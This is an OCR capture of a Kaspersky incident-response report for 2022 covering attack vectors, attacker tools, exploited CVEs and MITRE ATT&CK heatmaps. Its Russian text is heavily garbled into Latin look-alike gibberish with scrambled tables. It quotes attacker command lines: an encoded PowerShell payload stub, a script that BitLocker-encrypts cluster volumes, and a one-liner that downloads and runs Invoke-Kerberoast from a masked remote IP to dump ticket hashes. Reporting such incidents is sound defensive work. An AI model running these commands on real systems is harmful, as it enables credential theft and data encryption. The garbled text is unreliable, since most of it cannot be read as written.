MopknoyeHne _ MopgknoveHne 238 MopkniouyeHne ) MNopxknioueHne _ MopknioyeHne _ MNopknoyeHne _
AOMNONHNTENbHBIX YCTPOWCTB OOMNONMHNTENbHBIX YCTPOUCTB OOMNONHNTENbHBIX YCTPOWCTB AONONHNTENbHbIX YCTPOUCTB AOMNONHNTENbHbIX YCTPOWUCTB AOMNONHNTENbHbIX YCTPOWCTB
BpenoHOCHblIe 238 BpenoHOCHbIe 714 BpenooHOCHbIe ) BpenooHOCHble _ BpenoHOCHble _ BpenoHOCHblIe 238
nMcbma ’ nicbma ’ nicbma nucbma niucbma nMcbma ’
Cny>6bl 9,52 Cny>x6bl - Cnyx6bl - Cny>6bl - Cny>6bl - Cny>6bl -
yAaneHHoro gocTtyna yAaneHHoro gocTtyna yAaneHHoro gocTtyna yAaneHHoro gocTtyna yOaneHHoro gocTtyna yAaneHHoro gocrtyna
[oBepuTenbHble 2,38 [loBepuTenbHble - [loBepuTenbHble 2,38 HosepuTtenbHble - [osepuTenbHble - [oBepuTenbHble -
OTHOLUEHNS OTHOLLEHNS OTHOLLEHNS OTHOLUEHNS OTHOLUEHNS OTHOLUEHNS
Opyroe - Ipyroe 4,76 Apyroe - Opyroe - Opyroe - Opyroe -
O6Lwee KoNMYecTBo 38,10 O6wee KonnMyecTBo 33,33 O6Lwwee KonMyecTBo 16,67 Ob6uee KONMMYeCcTBO 2,38 O6uee KONMYeCcTBO 2,38 O6Luee KONMYecTBoO 714

[ToOOIHKNTENIBHOCTD aTakwu
B 3aBNICUMOCTW OT Ha4abHOro BEKTOpaAa

BONbLIMHCTBO Cyyaes, B KOTOPbLIX HE YOANOCh YCTAaHOBUTb HaYvaslbHbI BEKTOP aTakWw,
OCTaBaliMCb HE3aMeYeHHbIMW Bonee roga — Ha 3TO YKa3blBaeT OTCYTCTBME apTedakToB AN
aHanunsa (yhoaneHHbIX N3-3a nepesanncun XXypHanoB). bonee NnonoBrHbI BCeX aTak, KOTopble
HauMHanMChb C BPeOOHOCHbIX 3JIEKTPOHHbIX MNCEM, Kpa)¥ YYETHbIX AaHHbIX U aKChnyaTaunim
YS3BMOCTEW BHELLUHNX NPUNOXEHWI, OblNI OOHAPY>XXEHbI B TEYEHNE HECKOJSBKMX YaCOB U OHEN.

CkomMnpomeTnpoBaHHbIe

aKKayHTbI

CkomMmnpomMeTnpoBaHHbIE
yYeTHbIE 3anncu

YA3BMMOCTU B Ny6NYHbIX
NPWIOXEHUAX

MNopknoyeHne
OOMNONIHNTENbHbBIX YCTPOWUCTB

BpepoHocHble
nncbma

Cny>6bI
yhaneHHoro gocTyna

[loBepuTenbHble
OTHOLUEHNS

Hpyroe
Ob6Lwee KonnmyecTBo

YassumocTn NoaknoyeHne
B NYB/INYHbIX JOMONTHUTESbHbIX
NPUNIOXEHNSAX YCTPOWCTB

9,52

4,76

2,38

2,38

2,38

2,38
23,81

CkomMmnpomMeTnpoBaHHbIE
y4yeTHble 3anucu

Y93BMMOCTU B NY6ANYHbIX
NPUNOXEHUAX

MNopknoyeHne
AOMNONHUTENbHbBIX YCTPOWUCTB

BpenoHocHble
nucbma

Cny>6bl
yOaneHHoro gocTyna

[oBepuTenbHble
OTHOLLEHWNS

Hpyroe
ObLwee KonnmyecTBo

2,38

14,29

2,38

4,76

2,38

2,38
28,57

BpenoHOCHbIe Cny>6bl LloBepuTenbHble

nmncbma ypaneHHoro gocryna OTHOLLUEHN4

CkoMnpomMeTnpoBaHHbIE 4,76 CKOMNPOMETNPOBaHHbIE YUYETHbIE

y4yeTHble 3anucu 3anucu

Y43BMMOCTI B MY BNYHbIX 9,52 Y43BMMOCTI B NMYBNYHbIX

NPUNOXKEHNAX NPUNOXKEHNAX

MNopgkniouveHne ) MNopgknioyeHne

AOMNONHUTENbHbBIX YCTPOUCTB OOMNONHNTENbHbBIX YCTPOWCTB

BpenoHocCHble 238 BpenoHocHble

niucbma ’ nmcbma

Cny>6bl 2,38 Cny>6bI

yAaneHHoro gocTyna yAaneHHoro gocTyna

HosepuTtenbHble - [loBepuTenbHble

OTHOLLEHWNS OTHOLLEHWNS

Apyroe - HApyroe

O6Lwee KONNYecTBO 19,05 Ob6Lwee KONN4YecTBO

714

1,90

4,76

2,38

26,19

CKOMMPOMETNPOBAaHHbIE YUYETHbIE

3anncu

2,38

YA93BMMOCTU B NY6NYHbIX -
NPWIOXEHUAX

NopknoyeHne
OOMNOSNIHNTENbHbBIX YCTPOWCTB

BpenoHocHble

nMcbmMa

Cny>6bI -
yhaneHHoro oocTyna

[loBepuTenbHble -
OTHOLLEHNS

Hpyroe
Obuwee

KONMNYeCcTBO 2,38

O6bLee KONMMYEeCTBO

#kaspersky
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VIHCTPYMEHTbI aTaKYOLLX
N BKCMSIOUNTDI

[TouT B NONIOBUNHE BCEX NHUWNOEHTOB NCMNONIb30BaINCh Y>Xe BXOoAsduwme B COCTaB

OC ytunuThbl (Lolbins), nonynsipHble MHCTPYMEHTHI A4/19 MPOBEOEHNS aTaK
c GitHub (Hanpumep, Mimikatz, AdFind, Masscan) n cneumann3npoBaHHbIE
KoMmmepuyeckne ppenmBopkn (Cobalt Strike).

NHCTPYMEHTbI, UCMOJIb3yEMbIE B MHLNAEHTaX

YacTo ncnonbsyemobie

® \lcnonb3oBaHWe KaXXAoro NMHCTPYMEHTA
ob1n10 BbigBNeHoO B 10-20% cnyyaes

10-20%

Cobalt Strike Mimikatz

PowerShell

PsExec

YMepEeHHO ncnonblsyemble

PacnpeneneHne n 4yactoTta criyyaeB NCMONb30BaHUS TEX U NHbIX
nporpamMmmMHbix cpencts B maTpuue MITRE ATT&CK HarnagHO 4eMOHCTPUPYIOT,
UYTO 3/T0YMBbILLSIEHHVKW YaLle BCEro NpmoberaT K TaKUM MHCTPYMEHTaM Ha
aTanax Mexay nosyyeHnem nepBoHavasnbHOro oCcTyna 1 HenocpeaCcTBEHHbIM
BO3OEVCTBMEM Ha LLENEBYIO CUCTEMY. DTN UHCTPYMEHTbI — XOpOoLUme
NHOMNKaTOPbI, KOTOPbIE MOIYT MOMOYb OOHAPYXNTb BTOPXEHWE ObICTPEE, Noka

aTakyrowne nccnenyrT CeTb.

BbinonHeHmne
18,58%
PowerShell

PsExec SmbExec

[lepemelieHne
BHYTpY nepnmeTpa 12,02%

Cobalt Strike Impacket

Empire_Powershell PowerSploit

2%

460/ BCeX MHUMNOEHTOB
O  BLinn cBsizaHb

C UCNOJIb3OBaHNEM
yTUNuT

Penko ncnonblyemble

Advanced_IP_Scanner Bitlocker WebBrowserPassView.exe  DiskCryptor
ProcDump ProcessHacker Fast_Reverse_Proxy_FRP SMBExec
AnyDesk
[MpepoTBpalleHne [TonyJyeHune lccnepoBaHue
OBHapYy>XeHns 13,66% yyeTHbIX AaHHbIX  15,85% 26.23%
ProcessHacker Mimikatz Advanced
PCHunter PowerTool PowerTool ProcDump IP Scanner wmic nbtscan
COop faHHbIX YnpaBneHue Bospencreue
1,64% N KOHTPOJIb 6,01% 6,01%
winrar 7zip RDP AnyDesk DiskCryptor BitLocker

#kaspersky
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JlerntmMmHbie MHCTPYMEHTbI B MITRE ATT&CK®

B 60nbLUMHCTBE CnyyaeB cneuyianmncTbl No MHOOPMAaLUMOHHOW 6€30MNacHOCTM
MOrYyT OCNabuTb HayasbHbI BEKTOP aTaku C MOMOLLbIO MPEBEHTUBHbIX MEP.
Hanbonee pacnpocTpaHeHHble BEKTOPbI aTak (aKCcrnyaTaums Y93BMMOCTEN B

®
Ny©ANYHO OOCTYMHbIX MPUAIOXKEHUSX, CKOMMPOMETUPOBAHHbLIE YYETHbIE 3ancu, MITRE ATT&CK
BPELOHOCHbIE MMCbMa) MOXXHO OC1abuTb C MOMOLLbIO CBOEBPEMEHHOIO
ynpaBneHns 06HOBNEHNAMI, NCMNOAb30BaHNA MHOrodakTOPHOM = e

ay TeEHTUDUKAUNN, BHEOPEHUNSA aHTUPULLNHIOBBLIX PELUEHN N NHHOPMNPOBAHINS
COTPYOHMKOB MO BOnpocamMm 6e30nacHOCTW.

Gather Victim Host ompromise Exploit Public- i BITS Jobs

Ho mayxe npu cobnoaeHny nogobHbIX Mep aTakii BCE PaBHO MOryT :
MPOUCXOOUTb, MO3TOMY Ba)XHO MOCTAPATLCH Kak MOXHO CKOpee 0BHapyXMUTb
cnedbl X nposeneHns. Halum nccnenoBaHns NokKasbiBatoT, UTO 4119 06xX0oaa
TPAONLMNOHHBIX PELLEHNI MO 3aLUmTe OT KUGEPYTPO3 3M10YMbILLIEHHUKN |
MCMOSb3YIOT NEMMTUMHOE MPOorpaMMHOe obecrneyeHne, yXxe yCTaHOBIEHHOE B

KopriopaTnBHoW ceTn. Hanbonee pacnpocTpaHeHHbIe TaKTVKN U TEXHNKU A
cornacHo knaccunpukaumm MITRE ATT&CK® Tonbko noaTeep>xaatoT 3TO.

Gather Victim
Identity Information

Tak, ong peanmsaunm TakTk BbINOsIHEHME MOTYT NPYMEHATLCH TEXHUKI
Icnonb30BaHME NHTEPMNPETATOPOB KOMaHOHOW CTPOKN N CLUEHAPWEB:
PowerShell nnn Ncnonb3soBaHmne nHTepnpeTaTopoB KOMaHAHON CTPOKN 1
cueHapueB: KomaHaHas o6onoyka Windows.

Hanpumep:

C:\Windows\System32\cmd.exe /c powershell -enc “3akogupoBaHHas nonesHasd Harpyska'

OpoHako PowerShell MoXxeT ncnonb3oBaTtbCs U ANg apyrux uenen. Hanprmep, B
TakTuke Bospeucreme PowerShell npumenanca ong 3anycka windppoBaHnS
BitLocker:

powershell.exe §if (Get-Command Get-ClusterResource -errorAction SilentlyContinue) 3§ foreach($Cluster in Get-
ClusterResource) § Suspend-ClusterResource $Cluster; $PlainPassword='_Password '; $SecurePassword = $PlainPassword |
ConvertTo-SecureString -AsPlainText -Force; enable-bitlocker $Cluster.SharedVolumeInfo.FriendlyVolumeName -password
$SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly; Resume-ClusterResource $Cluster? % %

inn ans 3anycka nHcTpymeHTa [Invoke-Kerberoast tool
npoBeneHnsd atakm Kerberoasting:

, ICMNOSIb3YEeMOro ang

powershell -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString (\"http://XXX.XXX.XXX.XXX:xXxXxx/Invoke-
Kerberoast.psl\") ; Invoke-Kerberoast -OutputFormat HashCat|SelectObject -ExpandProperty hash | out-file -Encoding
ASCITI logs.txt

[1na c6opa gaHHbIX B pamMmkax TakTuk ccnepoBaHne 3110y MbILLTEHHUKN TakKXe
CMNOMb3YIOT pasfiyHble TUMbl CETEBbLIX CKaHEepPOB, Hanpumep SoftPerfect
Network Scanner:

C:\Users\xxx\Videos\netscan2\netscan.exe

Nnn nHcTpymeHT WizTree ons 66iCTpon COpTUPOBKIK GansoB:

try.exe \"\\\\192.168.xxx.xxx\\ Backup\" /export=\"192.168.xxx.xxx_Backup.csv\" /admin=1 /filter=\"&gt;2017/01/01\" /
exportfolders=0 /filterexclude=\"*.|*.db|*.ini|*.1nk]|\\~*|\\$*|\\Program*|\\Windows\\\"

I I |
#kaspersky 13
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[na gpocTyna K NoNb3oBaTeNbCKM gaHHbIM B b1, 310y MbILLNEHHUKN MOTY T
NCMOJb30BaTb T€ XXe UHCTPYMEHTHI, YTO N agMHUCTPaTopbl B, Hanpumep
HeidiSQL B cnyyae c PostgreSQL.

[nqa peleHnsa aTon NpobnemMbl HEOBXOONMO BHEOPATb AOMNONMHUTESbHbIE
cpencTBa SIEM. OgHako HeEOQOCTATOYHO MPOCTO COBMPAaTb JaHHbIE — HY>Ha
KOMaHOa CreunanmncToB, Hanpumep cobCTBEHHAY Cly>X6a MOHUTOPUHIa U
pearnpoBaHung, KOTopas NpoaHann3npyeT 9T gaHHbIE N ONPELENNT, Kakmne
CoBbITNG ABNIOTCS Nofo3puTenbHbiMn. Ceparic Kaspersky Managed

Detection and Response 6bi11 pa3paboTaH UMEHHO A7 TOro, YTOObI MOMOraTh

KIneHTam B Nog0BHON CUTYaLnn.

N

Kaspersky Managed Detection and Response

13BECTHbIE YrpoO3bl

> 1 &— Kaspersky Incident Response —>

HewnsBeCTHbIe yrpo3sbl

. ABTOMaTN3MPOBaHHOE . PearvpoBaHue 1 noLaroBble | PaclumpeHHoe pearvipoBaHue, :
| pearnposaHe : peKoMeHaaLMN 3KCNepToB i UMdpoBag KPUMNHANMCTUKa,

rnyooKkunn aHanms

A\ 4

CnOXXHOCTb Yrpos

O Kaspersky Managed Detection
and Response (MDR)

Kaspersky MDR — aT0O cepBuC KpYyrioCy TOYHOrO MOHUTOPUHra 1
pearnpoBaHns Ha BblFBIEHHbBIE NHLUMOEHTbLI, OCHOBAHHbLIVI HA TEXHONOMMYECKIX
peLleHnax n akcrnepTtnse komaHabl SOC «JTabopaTopun Kacnepckoroy.

PelueHna ong 3anTbl KOHEYHbIX TOYEK, YCTAHOB/IEHHbIE HA CTOPOHE
3aKasurKka, cobupatoT 1 NnepenatoT TENEMETPUIO, KOTOPAad Aanblue
aHaNM3npyeTCs C NCMNofib30BaHNEM TEXHOMOT A MALLMHHOIO OBYYEHUS 1 NP
HenocpeacTeeHHOM yyacTum akcnepTtoB SOC. [1pn aToOM ceHCcopbl 3aLLUThI
KOHEYHbIX TOYEK OBecneunBatoT pearmpoBaHue.

AHannTtkm SOC paccnenytoT cobbiTng 6e3onacHocTu (alerts) n onoseLllatoT
KNMEeHTa O BpeaoHOCHOW aKTUBHOCTW, NPEONOCTaBNAA MHCTPYMEHTAabHOE
pearnpoBaHe 1 peKkoMeHaaLnN.

#kaspersky
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Hanbonee pacnpocTpaHeHHbIe

YS3BMMOCTU

B 2022 rogy 6b15i1 CNOMb30BaHbl YI3BUMOCTW B LUMPOKO NCNONb3YEMOM NPOrpaMMHOM
obecneyeHnn, ObHapOaOBaHHbIE eLle B NPOoLUIoM roay. YrnpaBnieHne 0O6HOBNEHNSMIA
OCTaeTCd OYEHb BaXXHbIM MHCTPYMEHTOM AJ1s obecneyeHns MHGopMaLOHHOMN
6e3onacHocTu. [loapobHasa nHPopmMaLng 06 YA3BUMOCTAX NprBOoANTCS B [prnoxxeHnm
«PacnpocTpaHeHHbIE YI3BUMOCTUY.

Microsoft
Exchange

CVE-2021-34473

Microsoft
Exchange

CVE-2021-34523

Telerik. Web.UI

CVE-2017-11317

Microsoft
Exchange

CVE-2021-26855

Microsoft
Exchange

CVE-2020-0688

1C-buTtpukc:
YnpaBneHue
canTom

CVE-2022-27228

Apache Log4j

CVE-2021-44228

O6x0[, 3aWnTHbIX MexaHn3amoB (SFB).
MaHunnynmpoBaHue nyTamMmuy 6e3 ayTeHTudmnkaunmn
nossonget o6onTn ACL. Ya3BUMOCTb CNy>XObl
Autodiscover B Microsoft Exchange Server.
3M0YMbILWAEHHUKN MOTYT MOMYUNTb OOCTYMN K 3aKPbIThIM
pecypcam 6e3 ayTeHTudmkaumm. YacTb LLenoukin
yassumocTen ProxyShell. B coueTtaHnm ¢ gpyrumum
YS3BMMOCTSAMU NO3BONSET BbINOHATL MPON3BOSIbHbIV
KOZ.,

[lo3BONYET 3710y MbILLIEHHVKAM MOBbILWAaTb CBOWU
NPVBUNETN B CUCTEME. HaCTb LENOYKN YS3BUMOCTEN
ProxyShell.

Y93BMOCTb, CBA3aHHAas C HEOrPaHNYEHHOW
BO3MOXXHOCTbIO 3arpy3ku ¢annos. Cnaboe
windpoeaHne RadAsyncUpload nossongdeTt

310y MbILLSIEHHKAM 3arpy>kaTb Mpow3BOSibHble palibl
NI BbIMOJSTHATb MPOU3BOJIbHbIV KO, MPW UCMOMb30BaHUN
onenmoTteku Telerik Ul for ASP.NET AJAX.

YassumocTb SSRF B Microsoft Exchange Server.
310y MbILWAEHHVKN MOTYyT OTMNPaBsaTb NPON3BOSIbHbIE
HTTP-3anpocbl 1 NpoxognTb ay TEHTUPMKALUNIO OT
NMeHWN cepeepa Exchange. Mcnonb3yeTcd rpynnou
Hafnium.

Y93BMMOCTb, CBA3aHHasa C BOSMOXHOCTbIO YOaneHHOro
BbinonHeHns koaa (RCE), korga nporpammHoe
obecrneyeHmne He MOXET A0/MKHbIM 06pasoMm
0bpaboTaTb OOBLEKTLI B NamMaTun. [Mo3BongeT

ay TEHTUPULMPOBAHHBIM 3N10YMbILLNEHHIKAM C SIIOObIM
YPOBHEM NPUBUAErNA BbINOSHATbL MPOV3BOSIbHbIN KOA, B
Microsoft Exchange.

Y43BUMOCTb YOaneHHOro BbinosHeHnd Koaa. [ossongeTt
3N10YMbILLIEHHNKAM BbIMONHNTb NPO3BOSbHbLIN KO 6€3
ayTeHTndrKaunm B Moayne ronocoBaHns (OH Xe
«Onpocsl, ronocoBaHnsay) N0 «1C-butpukc: YnpasneHue
cCanToOM».

Y43BMOCTb YOaneHHOro BbINOSIHEHUS KOAa, N3BECTHas
kKak Log4Shell, 3aTparvBaeT ak3emnnsgpbl Apache Log4j 2
B TEX CNy4yasx, KOraa 3/10yMbILUIEHHMKN 0bnagatoT
npaBamMmy Ha NSMeHeHne ¢aiina KOHPUrypaLmm XypHana
N TaKMM 06pasomM MOryT copMUpPOBaTb BPEAOHOCHYIO
KOHPUrypaumo ¢ nomotubto JDBC Appender.

Microsoft
Exchange

CVE-2021-31207

XenApp
Server

CVE-2012-5161

Microsoft
SharePoint

CVE-2019-0604

Hpansep MSI

CVE-2019-16098

Microsoft
Active
Directory

CVE-2020-1472

Polkit Pkexec

CVE-2021-4034

Apache Log4j

CVE-2021-45046

KOHKpeTHble YA3BMMOCTW Oblnn
obHapy>XeHbl B 29% NHUNOEHTOB,
B KOTOPbIX 6bl/1 BbISBJIEH
HavasbHbI BEKTOP aTaku

3anncb NpounsBobHbIX panos (AFW) nocne
ayTeHTudrkaumn. [No3songaeT 310y MbILLUNEHHUKY
3anmcbiBaTb Gansibl Mo onpeneneHHoMy nyTn ¢
NoMoLLbIO KOMaHabl PowerShell. 9To MoXeT OTKpbITb
BO3MOXXHOCTb YaaneHHoro BbinonHeHns koga (RCE),
HanpyMepP, NyTEM 3anncu COA4EPXMMOro Beb-Lwenna.
YacTb uenouku yassmumocTen ProxyShell. B coueTanun C
OPYTMN YA3BUMOCTAMK NO3BONSET BbIMOSHATD
NPOUN3BOSIbHBIN KOA.,

[103BONFET 3/10YMbILIEHHVIKAM BbINOMHATD
NPOW3BOSbHbIN KOO 6€3 ayTEHTUMKALMN Ha CepBepe
XenApp Server yepes nHtepdpenc XML Service.

Y43BUMOCTb YOaneHHOro BbinosHeHns Koga. [lossongdeTt
3N0YMbILLUNEHHMKAM BbINOAHUTbL NPOWU3BOSbHbIN KOA, 6€3
ayTeHTndukaunm B Microsoft SharePoint.

Y93BMMOCTb /1OKasibHOro NOBbILLWEHNS NpUBUNErniA ang
apaveepa pexuma ggpa B MS| AfterBurner nossonseT
ayTEHTNOULMPOBAHHOMY NOMb30BATESO YNTaTb JaHHbIE
N3 NPON3BOSIbHOW 06NacTu NaMATU B LEEeN1eBOW CUCTEME
MO0 3anncbiBaTb X Ty4a, NOBbIWAaTb NPUBUNErN U
BbINOMHATbL KOA,

Y93BMMOCTb NoBbilweHus npusuniernii B Netlogon,
N3BeCTHa4 Kak Zerologon, N03BONgeT
HeayTEHTUPNUNPOBAHHOMY 3/10YMbILLIEHHUKY
ncnonb3osaTb NpoTokon Netlogon Remote Protocol
(MS-NRPC) onga nogxkntoveHns K KOHTPONNEPY AOMEHa C
LLeNblo NONyYeHns npaB agMUHUCTPaTopa JOMeHa.

Y43BMOCTb /IOKaIbHOrO NOBbLILLEHUS NPUBUNENNN B
yTunnTte pkexec, Bxogsuen B coctaB PolKit B Unix-
NOOOBHbIX ONMEPALMOHHBLIX CUCTeMax. [lossongeT
NoboMy NONb30OBATENO NOAYUNTbL NpaBa root Ha
YSA3BMIMOM XOCTE U BbINOSIHUTb MPOU3BOSIbHbIN KOA.,

Y43BUMOCTb YOaNeHHOro BbINOSHEHWS KOAa,
ObyCcnoBneHHas HeJopPaboTKOW B CNpaBieHnm
CVE-2021-44228 pngd HEKOTOPbIX HECTaHOaPTHbIX
KOHOUrypaunm, No3BOMSET 3MTI0YMbILLIIEHHKAM,
MMEIOLLIM KOHTPOJTb Ha BXO4HbIMW JaHHbIMU Thread
Context Map (MDC), popmumpoBaTh Bpe4OHOCHbIE
BXOOHbIE JaHHble C UCnonb3oBaHnem wabnoHa JNDI
Lookup 0,19 BbINOSIHEHS NPOKV3BOSIbHOrO Ko4a.

#kaspersky
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| lIonnoXxeHwme

1-5% ] 6-10% | 1-15% | 16-20% ] >20% ()

TennoBas kapTa TakTuK 1 TexHnk MITRE ATT&CK

Reconnaissance

TexHnka NoaTexHuka

- Scanning IP Blocks

Active Scanning
- Wordlist Scanning

Gather Victim Host Information

Gather Victim Identity Information

Gather Victim Network Information

Gather Victim Org Information

Phishing for Information

Search Closed Sources

Search Open Technical Databases

Search Open Websites/Domains

Search Victim-Owned Websites

Execution
- JavaScript
- PowerShell
Command and Scripting * Python
Interpreter . Unix Shell
- Visual Basic

« Windows Command Shell

Container Administration Command

Deploy Container

Exploitation for Client Execution

Inter-Process Communication

Native API

Scheduled Task/Job - Scheduled Task

Serverless Execution

Shared Modules

Software Deployment Tools

System Services . Service Execution

User Execution . Malicious File

Windows Management Instrumentation

Resource Development

TexHuka

Acquire Infrastructure

Compromise Accounts

Compromise Infrastructure

Develop Capabilities

Establish Accounts

Obtain Capabilities

Stage Capabilities

Persistence

I G [MoaTexHuka

Account Manipulation - SSH Authorized Keys
BITS Jobs
- Port Monitors
Boot or Logon Autostart
Execution - Registry Run Keys /
Startup Folder

Boot or Logon Initialization Scripts

Browser Extensions

Compromise Client Software Binary

- Domain Account

Create Account
- Local Account

Create or Modify

- Windows Service
System Process

- Windows Management
Instrumentation Event
Subscription

Event Triggered
Execution

External Remote Services

- DLL Search Order

Hijack Execution Flow e

Implant Internal Image

Modify Authentication Process

Office Application Startup

Pre-OS Boot

Scheduled Task/Job . Scheduled Task
Server Software Y T
Component

Traffic Signaling

- Domain Accounts

Valid Accounts
- Local Accounts

Initial Access

TexHuKa [NoaTexHuka

Drive-by Compromise

Exploit Public-Facing Application

External Remote Services

Hardware Additions

Phishing - Spearphishing Attachment

Replication Through Removable Media

Supply Chain Compromise

Trusted Relationship - Domain Accounts

Valid Accounts . Local Accounts

Privilege Escalation

TexHuka [MToaTexHuka

Abuse Elevation Control Mechanism

Access Token Manipulation

Boot or Logon Autostart . Kernel Modules and
Execution Extensions

Boot or Logon Initialization Scripts

Create or Modify System Process

Domain Policy Modification

Escape to Host

Event Triggered Execution

Exploitation for Privilege Escalation

Hijack Execution Flow

Process Injection

Scheduled Task/Job

Valid Accounts

#kaspersky
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Defense Evasion

TexHuka [MoaTexHuka

Abuse Elevation Control Mechanism

Access Token Manipulation

BITS Jobs

Build Image on Host

Debugger Evasion

Deobfuscate/Decode Files or Information

Deploy Container

Direct Volume Access

Domain Policy Modification - Group Policy Modification

Execution Guardrails

Exploitation for Defense Evasion

- Linux and Mac File and

File and Directory Directory Permissions

Permissions Modification

Modification
Hide Artifacts
Hijack Execution Flow
Impair Defenses - Disable or Modify Tools

- Clear Windows Event Logs

Indicator Removal . File Deletion

- Timestomp

Indirect Command Execution

- Double File Extension

- Masquerade Task or

Masquerading Service

- Match Legitimate Name or
Location

Modify Authentication Process

Modify Cloud Compute Infrastructure

Modify Registry

Modify System Image

Network Boundary Bridging

Obfuscated Files or

) - Software Packing
Information

Plist File Modification

Pre-OS Boot

Process Injection

Reflective Code Loading

Rogue Domain Controller

Rootkit

Subvert Trust Controls

System Binary Proxy Execution

System Script Proxy Execution

Template Injection

Traffic Signaling

Trusted Developer Utilities Proxy Execution

Unused/Unsupported Cloud Regions

Use Alternate Authentication Material

Valid Accounts . Domain Accounts

Virtualization/Sandbox Evasion

Weaken Encryption

XSL Script Processing

1-5% ] 6-10%( ] M-15% ] 16-20% [}

Credential Access

TexHuka NMoaTexHuka

Adversary-in-the-Middle

Brute Force . Password Guessing

Credentials from Password Stores

Exploitation for Credential Access

Forced Authentication

Forge Web Credentials

Input Capture

Modify Authentication Process

Multi-Factor Authentication Interception

Multi-Factor Authentication Request Generation

Network Sniffing

- DCSync

- LSASS Memory
OS Credential Dumping

- NTDS

- Security Account Manager

Steal Application Access Token

Steal or Forge Authentication Certificates

Steal or Forge Kerberos Tickets

Steal Web Session Cookie

- Credentials In Files

Unsecured Credentials
- Private Keys

>20% ()

Discovery

TexHuka [MoaTexHuka

- Domain Account

Account Discovery
« Local Account

Application Window Discovery

Browser Bookmark Discovery

Cloud Infrastructure Discovery

Cloud Service Dashboard

Cloud Service Discovery

Cloud Storage Object Discovery

Container and Resource Discovery

Debugger Evasion

Domain Trust Discovery

File and Directory Discovery

Group Policy Discovery

Network Service Discovery

Network Share Discovery

Network Sniffing

Password Policy Discovery

Peripheral Device Discovery

Permission Groups Discovery

Process Discovery

Query Registry

Remote System Discovery

Software Discovery

System Information Discovery

System Location Discovery

System Network Configuration Discovery

System Network Connections Discovery

System Owner/User Discovery

System Service Discovery

System Time Discovery

Virtualization/Sandbox Evasion

#kaspersky
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1-5% ] 6-10%( ] 115% ] 1620% [ ] >20% ()

Lateral Movement Collection Command and Control
Exploitation of Remote Services Adversary-in-the-Middle Application Layer T Pl
Protocol
Int | S hishi Archive Collected Data - Archive via Utilit
nternat spearphishing reniv ey Communication Through Removable Media
Lateral Tool Transfer Audio Capture _ _
Data Encoding - Non-Standard Encoding
Remote Service Session Hijacking Automated Collection ,
Data Obfuscation
 [MEmieis RiEeaey sl Browser Session Hijacking _ _
Dynamic Resolution
- SMB/Windows Admin i
e Clipboard Data

Encrypted Channel - Symmetric Cryptography

Remote Services

- SSH Data from Cloud Storage

- Windows Remote i i
Management Data from Configuration Repository

Fallback Channels

Ingress Tool Transfer

Data from Information

Replication Through Removable Media Repositories - Sharepoint Multi-Stage Channels
Software Deployment Tools Data from Local System Non-Application Layer Protocol
Taint Shared Content Data from Network Shared Drive Non-Standard Port
Xzihgziir::tﬁin Material = Pass the Hash Data from Removable Media Protocol Tunneling
Data Staged Proxy
Email Collection - “ocelEmal Collection Remote Access Software
. Remote Email Collection
Input Capture . Keylogging Traffic Signaling
Screen Capture Web Service . One-Way Communication
Video Capture
Exfiltration Impact
Automated Exfiltration Account Access Removal
Data Transfer Size Limits Data Destruction
Exfiltration Over Alternative Protocol _
Exfiltration Over C2 Channel Data Manipulation
Exfiltration Over Other Network Medium Defacement . External Defacement
Exfiltration Over Physical Medium Disk Wipe
Exfiltration Over Web Service Endpoint Denial of Service
Scheduled Transfer Firmware Corruption
Transfer Data to Cloud Account Inhibit System Recovery

Network Denial of Service

Resource Hijacking

Service Stop

System Shutdown/Reboot

#kaspersky



AHATIMTUYECKWIA OTYET IR

2022

I I

O KomMnaHun / \
5000+
KBaNnMPuLMPOBaHHbIX
crneunanncToB padboTatoT
«JlabopaTopud Kacnepckoro» — mexayHapoaHas KoMnaHug, padoTatoLlas B
y B KOMMaHUM
chepe nHpopmaLroHHOW Be3onacHoCcTK ¢ 1997 ropa. [nybokume akcnepTHble
3HAHNS I MHOMOMETHUW OMbIT KOMMaHNW 1eXXaT B OCHOBE 3aLLMNTHbIX PELUEHNA U
CEPBMNCOB HOBOIro NOKONEHUS, 0becneurBatoLLmMx 6e30nacHOCTb bsHeca,
KPUTNYECKW Ba>XHbIX MHPPACTPYKTYP, rOCyaapCTBEHHbIX OPraHOB U PS40BbIX 50%
nonb3oBaTtenen. ObnpHoe nopTdonno «Jlabopatopum Kacnepckoro»
BK/IIOYAET B ceO4 nepenoBblie NPOAYKThl AN 3aLUMTbl KOHEYHbIX YCTPOWCTB, a COTPYARVIKOB = 9TO
TaKXe pga crneunanmampoBaHHbIX PELLEHU N CEPBUCOB N9 60PbOLI CO NPE=EmEUERY IS
C/IOXHbIMW N MOCTOSHHO 3BOJTIOLIMIOHVPYIOLLMUN KNOEepYrpo3amum.
CepBUChl KN6ep6e30nacHOCTM 59
BeOYLLX MNPOBbIX
9KCNEepPTOB B 06/1acCTn
Kaspersky Managed Kaspersky - F;
Detection and Response Incident Response KNOEpPLEsoNacHoCTH
Kaspersky Digital Forensics Kaspersky Targeted
and Malware Analysis Attack Discovery 9
LEHTPOB NMPO3PaYHOCTN
Kaspersky Security Kaspersky SOC
Assessment Consulting
Kaspersky Cybersecurity 400 000+
Training
BPEOOHOCHbIX OOBHEKTOB
Mbl OOHapPYy>XMBaeM Ka>k bl
OEHb
Me>xayHapoaHoe npusHaHme
«J1labopaTtopusa Kacnepckoro» akTMBHO Y4acCTBYET B HE3aB/CUMbIX
TECTUPOBAHUSAX N B3aUMOOENCTBYET C BEAYLLMMW aHaANIMTUYECKNMM 240 OOO+
AreRTCTBaMU. KOMMaHu No BCEMY
MIPY Mbl Obeperaem
Halum TexHonornm npmnsHaHbl BO BCEM MMPE 1N YOOCTOEHbI MHOMOUYMCIEHHbIX
y OT KNO6EPYrpo3s
MeXOYHapOOHbIX HAarpag, v NPY3HaHUN.
MRE | ATTacK A f
" KnbepaTak 6bis10
OCTaHOBEHO HALLUVMW
@ peweHnamn B 2022 rony
FORRE STER THE RADICATI GROUP, INC. \_ -
A TECHNOLOGY MARKET RESEARCH FIRM
| | | |
#kaspersky 19
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